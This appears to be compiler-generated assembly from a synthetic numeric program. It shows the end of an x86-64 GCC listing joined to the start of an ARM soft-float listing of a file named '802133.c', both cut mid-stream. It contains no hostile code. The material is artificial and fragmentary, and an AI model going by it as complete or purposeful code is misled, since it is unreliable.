movsd xmm1, QWORD PTR .LC1[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_5[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC4[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1674
movss xmm1, DWORD PTR x_4[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC1[rip]
addsd xmm1, xmm2
jmp .L984
.L1674:
movss xmm1, DWORD PTR x_5[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC4[rip]
addsd xmm1, xmm2
.L984:
comisd xmm0, xmm1
jbe .L1675
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC7[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_1[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC17[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1676
movss xmm1, DWORD PTR x_0[rip]
movss xmm0, DWORD PTR .LC15[rip]
addss xmm0, xmm1
jmp .L994
.L1676:
movss xmm1, DWORD PTR x_1[rip]
movss xmm0, DWORD PTR .LC20[rip]
addss xmm0, xmm1
jmp .L994
.L1675:
movss xmm0, DWORD PTR x_4[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC1[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_5[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC4[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1677
movss xmm1, DWORD PTR x_4[rip]
movss xmm0, DWORD PTR .LC9[rip]
addss xmm0, xmm1
jmp .L994
.L1677:
movss xmm1, DWORD PTR x_5[rip]
movss xmm0, DWORD PTR .LC12[rip]
addss xmm0, xmm1
jmp .L994
.L1672:
movss xmm0, DWORD PTR x_6[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC17[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_7[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1678
movss xmm0, DWORD PTR x_6[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC17[rip]
addsd xmm0, xmm1
jmp .L997
.L1678:
movss xmm0, DWORD PTR x_7[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC16[rip]
addsd xmm0, xmm1
.L997:
movss xmm1, DWORD PTR x_9[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC24[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_12[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC28[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1679
movss xmm1, DWORD PTR x_9[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC24[rip]
addsd xmm1, xmm2
jmp .L1000
.L1679:
movss xmm1, DWORD PTR x_12[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC28[rip]
addsd xmm1, xmm2
.L1000:
comisd xmm0, xmm1
jbe .L1680
movss xmm0, DWORD PTR x_6[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC17[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_7[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1681
movss xmm1, DWORD PTR x_6[rip]
movss xmm0, DWORD PTR .LC20[rip]
addss xmm0, xmm1
jmp .L994
.L1681:
movss xmm1, DWORD PTR x_7[rip]
movss xmm0, DWORD PTR .LC19[rip]
addss xmm0, xmm1
jmp .L994
.L1680:
movss xmm0, DWORD PTR x_9[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC24[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_12[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC28[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1682
movss xmm1, DWORD PTR x_9[rip]
movss xmm0, DWORD PTR .LC27[rip]
addss xmm0, xmm1
jmp .L994
.L1682:
movss xmm1, DWORD PTR x_12[rip]
movss xmm0, DWORD PTR .LC30[rip]
addss xmm0, xmm1
.L994:
movss DWORD PTR -4[rbp], xmm0
movss xmm0, DWORD PTR -64[rbp]
movss DWORD PTR x_0[rip], xmm0
movss xmm0, DWORD PTR -60[rbp]
movss DWORD PTR x_1[rip], xmm0
movss xmm0, DWORD PTR -56[rbp]
movss DWORD PTR x_2[rip], xmm0
movss xmm0, DWORD PTR -52[rbp]
movss DWORD PTR x_3[rip], xmm0
movss xmm0, DWORD PTR -48[rbp]
movss DWORD PTR x_4[rip], xmm0
movss xmm0, DWORD PTR -44[rbp]
movss DWORD PTR x_5[rip], xmm0
movss xmm0, DWORD PTR -40[rbp]
movss DWORD PTR x_6[rip], xmm0
movss xmm0, DWORD PTR -36[rbp]
movss DWORD PTR x_7[rip], xmm0
movss xmm0, DWORD PTR -32[rbp]
movss DWORD PTR x_8[rip], xmm0
movss xmm0, DWORD PTR -28[rbp]
movss DWORD PTR x_9[rip], xmm0
movss xmm0, DWORD PTR -24[rbp]
movss DWORD PTR x_10[rip], xmm0
movss xmm0, DWORD PTR -20[rbp]
movss DWORD PTR x_11[rip], xmm0
movss xmm0, DWORD PTR -16[rbp]
movss DWORD PTR x_12[rip], xmm0
movss xmm0, DWORD PTR -12[rbp]
movss DWORD PTR x_13[rip], xmm0
movss xmm0, DWORD PTR -8[rbp]
movss DWORD PTR x_14[rip], xmm0
movss xmm0, DWORD PTR -4[rbp]
movss DWORD PTR x_15[rip], xmm0
jmp .L1010
.cfi_endproc
.LFE0:
.size main, .-main
.section .rodata
.align 8
.LC0:
.long 0
.long 1073741824
.align 8
.LC1:
.long 0
.long 1072693248
.align 8
.LC2:
.long 0
.long 1075970048
.align 8
.LC3:
.long 0
.long 1076232192
.align 8
.LC4:
.long 0
.long 1075838976
.align 8
.LC5:
.long 0
.long 1076887552
.align 8
.LC6:
.long 0
.long 1077084160
.align 8
.LC7:
.long 0
.long 1075314688
.align 4
.LC8:
.long 1073741824
.align 4
.LC9:
.long 1065353216
.align 4
.LC10:
.long 1091567616
.align 4
.LC11:
.long 1093664768
.align 4
.LC12:
.long 1090519040
.align 4
.LC13:
.long 1098907648
.align 4
.LC14:
.long 1100480512
.align 4
.LC15:
.long 1086324736
.align 8
.LC16:
.long 0
.long 1075576832
.align 8
.LC17:
.long 0
.long 1076625408
.align 8
.LC18:
.long 0
.long 1077018624
.align 4
.LC19:
.long 1088421888
.align 4
.LC20:
.long 1096810496
.align 4
.LC21:
.long 1099956224
.align 8
.LC22:
.long 0
.long 1076953088
.align 8
.LC23:
.long 0
.long 1076101120
.align 8
.LC24:
.long 0
.long 1076363264
.align 4
.LC25:
.long 1099431936
.align 4
.LC26:
.long 1092616192
.align 4
.LC27:
.long 1094713344
.align 8
.LC28:
.long 0
.long 1075052544
.align 8
.LC29:
.long 0
.long 1074266112
.align 4
.LC30:
.long 1084227584
.align 4
.LC31:
.long 1077936128
.align 8
.LC32:
.long 0
.long 1077149696
.align 4
.LC33:
.long 1101004800
.align 8
.LC34:
.long 0
.long 1076756480
.align 8
.LC35:
.long 0
.long 1074790400
.align 4
.LC36:
.long 1097859072
.align 4
.LC37:
.long 1082130432
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "802133.c"
.text
.comm x_0,4,4
.comm x_1,4,4
.comm x_2,4,4
.comm x_3,4,4
.comm x_4,4,4
.comm x_5,4,4
.comm x_6,4,4
.comm x_7,4,4
.comm x_8,4,4
.comm x_9,4,4
.comm x_10,4,4
.comm x_11,4,4
.comm x_12,4,4
.comm x_13,4,4
.comm x_14,4,4
.comm x_15,4,4
.global __aeabi_f2d
.global __aeabi_dadd
.global __aeabi_dcmpgt
.global __aeabi_d2f
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 64
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, r6, r7, r8, r9, fp, lr}
add fp, sp, #28
sub sp, sp, #64
.L1010:
ldr r3, .L1683
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1683+4
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+8
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1347
ldr r3, .L1683
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L4
.L1347:
ldr r3, .L1683+4
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+8
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L4:
ldr r3, .L1683+12
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1683+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1348
ldr r3, .L1683+12
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L7
.L1348:
ldr r3, .L1683+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L7:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1349
ldr r3, .L1683
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1683+4
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+8
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1350
ldr r3, .L1683
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L13
.L1350:
ldr r3, .L1683+4
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+8
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L13
.L1349:
ldr r3, .L1683+12
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1683+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1351
ldr r3, .L1683+12
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L13
.L1351:
ldr r3, .L1683+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L13:
ldr r3, .L1683+68
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+16
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1683+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+20
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1352
ldr r3, .L1683+68
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+16
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
b .L19
.L1352:
ldr r3, .L1683+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+20
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
.L19:
ldr r3, .L1683+24
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r8, r2
mov r9, r3
ldr r3, .L1683+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+100
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r8
mov r1, r9
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1353
ldr r3, .L1683+24
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L22
.L1353:
ldr r3, .L1683+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+100
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L22:
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1354
ldr r3, .L1683+68
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+16
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1683+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+20
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1355
ldr r3, .L1683+68
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+16
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L28
.L1355:
ldr r3, .L1683+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+20
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L28
.L1354:
ldr r3, .L1683+24
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1683+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+100
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1356
ldr r3, .L1683+24
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L28
.L1356:
ldr r3, .L1683+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+100
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L28:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1357
ldr r3, .L1683
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1683+4
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+8
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1358
ldr r3, .L1683
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L36
.L1358:
ldr r3, .L1683+4
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+8
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L36:
ldr r3, .L1683+12
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1683+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1359
ldr r3, .L1683+12
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L39
.L1359:
ldr r3, .L1683+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L39:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1360
ldr r3, .L1683
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1683+4
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+8
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1361
ldr r3, .L1683
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L49
.L1361:
ldr r3, .L1683+4
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+8
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L49
.L1360:
ldr r3, .L1683+12
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1683+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1362
ldr r3, .L1683+12
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L49
.L1362:
ldr r3, .L1683+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L49
.L1357:
ldr r3, .L1683+68
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+16
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1683+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+20
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1363
ldr r3, .L1683+68
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+16
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L52
.L1363:
ldr r3, .L1683+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+20
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L52:
ldr r3, .L1683+24
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1683+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+100
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1364
ldr r3, .L1683+24
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L55
.L1364:
ldr r3, .L1683+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+100
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L55:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1365
ldr r3, .L1683+68
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+16
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1683+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+20
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1366
ldr r3, .L1683+68
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+16
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L49
.L1366:
ldr r3, .L1683+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+20
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L49
.L1365:
ldr r3, .L1683+24
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1683+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+100
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1367
ldr r3, .L1683+24
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L49
.L1367:
ldr r3, .L1683+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+100
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L49:
mov r0, r2
mov r1, r3
bl __aeabi_d2f
mov r3, r0
str r3, [fp, #-92] @ float
ldr r3, .L1683+88
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1683
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1368
ldr r3, .L1683+88
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L67
.L1368:
ldr r3, .L1683
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L67:
ldr r3, .L1683+4
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1683+68
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+108
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1369
ldr r3, .L1683+4
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L70
.L1369:
ldr r3, .L1683+68
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+108
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L70:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1370
ldr r3, .L1683+88
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1683
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1371
ldr r3, .L1683+88
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L76
.L1371:
ldr r3, .L1683
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L76
.L1370:
ldr r3, .L1683+4
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1683+68
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+108
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1372
ldr r3, .L1683+4
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L76
.L1372:
ldr r3, .L1683+68
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+108
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L76:
ldr r3, .L1683+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+8
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1683+76
ldr r3, [r3] @ float
mov r0, r3
